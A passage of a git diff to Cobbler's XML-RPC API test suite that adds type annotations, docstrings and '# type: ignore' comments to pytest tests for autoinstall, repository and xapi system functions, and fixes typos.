+    assert isinstance(event_log, str)
+
 
-def test_get_autoinstall_templates(remote, token):
+def test_get_autoinstall_templates(remote: CobblerXMLRPCInterface, token: str):
     """
     Test: get autoinstall templates
     """
@@ -100,7 +115,7 @@ def test_get_autoinstall_templates(remote, token):
     assert len(result) > 0
 
 
-def test_get_autoinstall_snippets(remote, token):
+def test_get_autoinstall_snippets(remote: CobblerXMLRPCInterface, token: str):
     """
     Test: get autoinstall snippets
     """
@@ -109,7 +124,7 @@ def test_get_autoinstall_snippets(remote, token):
     assert len(result) > 0
 
 
-def test_generate_autoinstall(remote):
+def test_generate_autoinstall(remote: CobblerXMLRPCInterface):
     """
     Test: generate autoinstall content
     """
@@ -118,7 +133,7 @@ def test_generate_autoinstall(remote):
         remote.generate_autoinstall(None, TEST_SYSTEM)
 
 
-def test_generate_ipxe(remote):
+def test_generate_ipxe(remote: CobblerXMLRPCInterface):
     """
     Test: generate iPXE file content
     """
@@ -127,7 +142,7 @@ def test_generate_ipxe(remote):
         remote.generate_ipxe(None, TEST_SYSTEM)
 
 
-def test_generate_bootcfg(remote):
+def test_generate_bootcfg(remote: CobblerXMLRPCInterface):
     """
     Test: generate boot loader configuration file content
     """
@@ -136,7 +151,7 @@ def test_generate_bootcfg(remote):
         remote.generate_bootcfg(None, TEST_SYSTEM)
 
 
-def test_get_settings(remote, token):
+def test_get_settings(remote: CobblerXMLRPCInterface, token: str):
     """
     Test: get settings
     """
@@ -144,7 +159,7 @@ def test_get_settings(remote, token):
     remote.get_settings(token)
 
 
-def test_get_signatures(remote, token):
+def test_get_signatures(remote: CobblerXMLRPCInterface, token: str):
     """
     Test: get distro signatures
     """
@@ -152,7 +167,7 @@ def test_get_signatures(remote, token):
     remote.get_signatures(token)
 
 
-def test_get_valid_breeds(remote, token):
+def test_get_valid_breeds(remote: CobblerXMLRPCInterface, token: str):
     """
     Test: get valid OS breeds
     """
@@ -161,7 +176,7 @@ def test_get_valid_breeds(remote, token):
     assert len(breeds) > 0
 
 
-def test_get_valid_os_versions_for_breed(remote, token):
+def test_get_valid_os_versions_for_breed(remote: CobblerXMLRPCInterface, token: str):
     """
     Test: get valid OS versions for a OS breed
     """
@@ -170,7 +185,7 @@ def test_get_valid_os_versions_for_breed(remote, token):
     assert len(versions) > 0
 
 
-def test_get_valid_os_versions(remote, token):
+def test_get_valid_os_versions(remote: CobblerXMLRPCInterface, token: str):
     """
     Test: get valid OS versions
     """
@@ -179,7 +194,7 @@ def test_get_valid_os_versions(remote, token):
     assert len(versions) > 0
 
 
-def test_get_random_mac(remote, token):
+def test_get_random_mac(remote: CobblerXMLRPCInterface, token: str):
     """
     Test: get a random mac for a virtual network interface
     """
@@ -236,16 +251,16 @@ def test_get_random_mac(remote, token):
     ],
 )
 def test_get_item_resolved_value(
-    remote,
-    token,
-    create_distro,
-    create_profile,
-    create_system,
-    create_kernel_initrd,
-    input_attribute,
-    checked_object,
-    expected_result,
-    expected_exception,
+    remote: CobblerXMLRPCInterface,
+    token: str,
+    create_distro: Callable[[str, str, str, str, str], str],
+    create_profile: Callable[[str, str, str], str],
+    create_system: Callable[[str, str], str],
+    create_kernel_initrd: Callable[[str, str], str],
+    input_attribute: str,
+    checked_object: str,
+    expected_result: Union[str, Dict[str, Any]],
+    expected_exception: Any,
 ):
     # Arrange
     fk_kernel = "vmlinuz1"
@@ -278,10 +293,10 @@ def test_get_item_resolved_value(
 
     # Act
     with expected_exception:
-        result = remote.get_item_resolved_value(test_item.get("uid"), input_attribute)
+        result = remote.get_item_resolved_value(test_item.get("uid"), input_attribute)  # type: ignore
 
-        if input_attribute == "interfaces" and "default" in result:
-            result.pop("default")
+        if input_attribute == "interfaces" and "default" in result:  # type: ignore
+            result.pop("default")  # type: ignore
 
         # Assert
         assert expected_result == result
diff --git a/tests/xmlrpcapi/repo_test.py b/tests/xmlrpcapi/repo_test.py
index b2ab5cce30..7426be4e77 100644
--- a/tests/xmlrpcapi/repo_test.py
+++ b/tests/xmlrpcapi/repo_test.py
@@ -1,8 +1,15 @@
+"""
+Tests that validate the functionality of the module that is responsible for providing XML-RPC calls related to
+repositories.
+"""
+
 import pytest
 
+from cobbler.remote import CobblerXMLRPCInterface
+
 
 @pytest.fixture
-def create_repo(remote, token):
+def create_repo(remote: CobblerXMLRPCInterface, token: str):
     """
     Creates a Repository "testrepo0" with a mirror "http://www.sample.com/path/to/some/repo" and the attribute
     "mirror_locally=0".
@@ -18,7 +25,7 @@ def create_repo(remote, token):
 
 
 @pytest.fixture
-def remove_repo(remote, token):
+def remove_repo(remote: CobblerXMLRPCInterface, token: str):
     """
     Removes the Repository "testrepo0" which can be created with create_repo.
 
@@ -30,8 +37,12 @@ def remove_repo(remote, token):
 
 
 class TestRepo:
+    """
+    TODO
+    """
+
     @pytest.mark.usefixtures("remove_repo")
-    def test_create_repo(self, remote, token):
+    def test_create_repo(self, remote: CobblerXMLRPCInterface, token: str):
         """
         Test: create/edit a repo object
         """
@@ -47,7 +58,7 @@ def test_create_repo(self, remote, token):
         assert remote.modify_repo(repo, "mirror_locally", False, token)
         assert remote.save_repo(repo, token)
 
-    def test_get_repos(self, remote):
+    def test_get_repos(self, remote: CobblerXMLRPCInterface):
         """
         Test: Get repos
         """
@@ -61,7 +72,7 @@ def test_get_repos(self, remote):
         assert result == []
 
     @pytest.mark.usefixtures("create_repo", "remove_repo")
-    def test_get_repo(self, remote, token):
+    def test_get_repo(self, remote: CobblerXMLRPCInterface, token: str):
         """
         Test: Get a repo object
         """
@@ -72,10 +83,10 @@ def test_get_repo(self, remote, token):
         repo = remote.get_repo("testrepo0")
 
         # Assert
-        assert repo.get("name") == "testrepo0"
+        assert repo.get("name") == "testrepo0"  # type: ignore
 
     @pytest.mark.usefixtures("create_repo", "remove_repo")
-    def test_find_repo(self, remote, token):
+    def test_find_repo(self, remote: CobblerXMLRPCInterface, token: str):
         """
         Test: find a repo object
         """
@@ -83,13 +94,13 @@ def test_find_repo(self, remote, token):
         # Arrange --> Done in fixture
 
         # Act
-        result = remote.find_repo({"name": "testrepo0"}, token)
+        result = remote.find_repo({"name": "testrepo0"}, False, False, token)
 
         # Assert
         assert result
 
     @pytest.mark.usefixtures("create_repo", "remove_repo")
-    def test_copy_repo(self, remote, token):
+    def test_copy_repo(self, remote: CobblerXMLRPCInterface, token: str):
         """
         Test: copy a repo object
         """
@@ -106,7 +117,7 @@ def test_copy_repo(self, remote, token):
         remote.remove_repo("testrepocopy", token)
 
     @pytest.mark.usefixtures("create_repo")
-    def test_rename_repo(self, remote, token):
+    def test_rename_repo(self, remote: CobblerXMLRPCInterface, token: str):
         """
         Test: rename a repo object
         """
@@ -124,7 +135,7 @@ def test_rename_repo(self, remote, token):
         remote.remove_repo("testrepo1", token)
 
     @pytest.mark.usefixtures("create_repo")
-    def test_remove_repo(self, remote, token):
+    def test_remove_repo(self, remote: CobblerXMLRPCInterface, token: str):
         """
         Test: remove a repo object
         """
diff --git a/tests/xmlrpcapi/xapi_test.py b/tests/xmlrpcapi/xapi_test.py
index a4acf80096..f40c5af918 100644
--- a/tests/xmlrpcapi/xapi_test.py
+++ b/tests/xmlrpcapi/xapi_test.py
@@ -1,5 +1,5 @@
 """
-All tests that are realted to ensuring the xapi_object_edit functionallity.
+All tests that are related to ensuring the xapi_object_edit functionality.
 """
 
 import os
@@ -82,7 +82,7 @@ def test_xapi_system_edit(
     # Assert
     assert result
     # There won't be any interface until the user adds implicitly or explicitly the first interface
-    assert len(remote.get_system("testsystem_xapi_edit").get("interfaces", {})) == 0
+    assert len(remote.get_system("testsystem_xapi_edit").get("interfaces", {})) == 0  # type: ignore
 
 
 def test_xapi_system_edit_interface_name(
@@ -122,8 +122,8 @@ def test_xapi_system_edit_interface_name(
 
     # Assert
     assert result
-    assert len(remote.get_system("testsystem_xapi_edit").get("interfaces", {})) == 1
-    assert "eth1" in remote.get_system("testsystem_xapi_edit").get("interfaces", {})
+    assert len(remote.get_system("testsystem_xapi_edit").get("interfaces", {})) == 1  # type: ignore
+    assert "eth1" in remote.get_system("testsystem_xapi_edit").get("interfaces", {})  # type: ignore
 
 
 def test_xapi_system_edit_two_interfaces_no_default(
@@ -174,9 +174,9 @@ def test_xapi_system_edit_two_interfaces_no_default(
     # Assert
     assert result_add
     assert result_edit
-    assert len(remote.get_system("testsystem_xapi_edit").get("interfaces", {})) == 2
-    assert "eth1" in remote.get_system("testsystem_xapi_edit").get("interfaces", {})
-    assert "eth2" in remote.get_system("testsystem_xapi_edit").get("interfaces", {})
+    assert len(remote.get_system("testsystem_xapi_edit").get("interfaces", {})) == 2  # type: ignore
+    assert "eth1" in remote.get_system("testsystem_xapi_edit").get("interfaces", {})  # type: ignore
+    assert "eth2" in remote.get_system("testsystem_xapi_edit").get("interfaces", {})  # type: ignore
 
 
 def test_xapi_system_edit_two_interfaces_default(
@@ -237,8 +237,8 @@ def test_xapi_system_edit_two_interfaces_default(
     # Assert
     assert result
     assert (
-        remote.get_system(name_system)
-        .get("interfaces", {})
+        remote.get_system(name_system)  # type: ignore
+        .get("interfaces", {})  # type: ignore
         .get("eth2", {})
         .get("mac_address")
         == "aa:bb:cc:dd:ee:ff"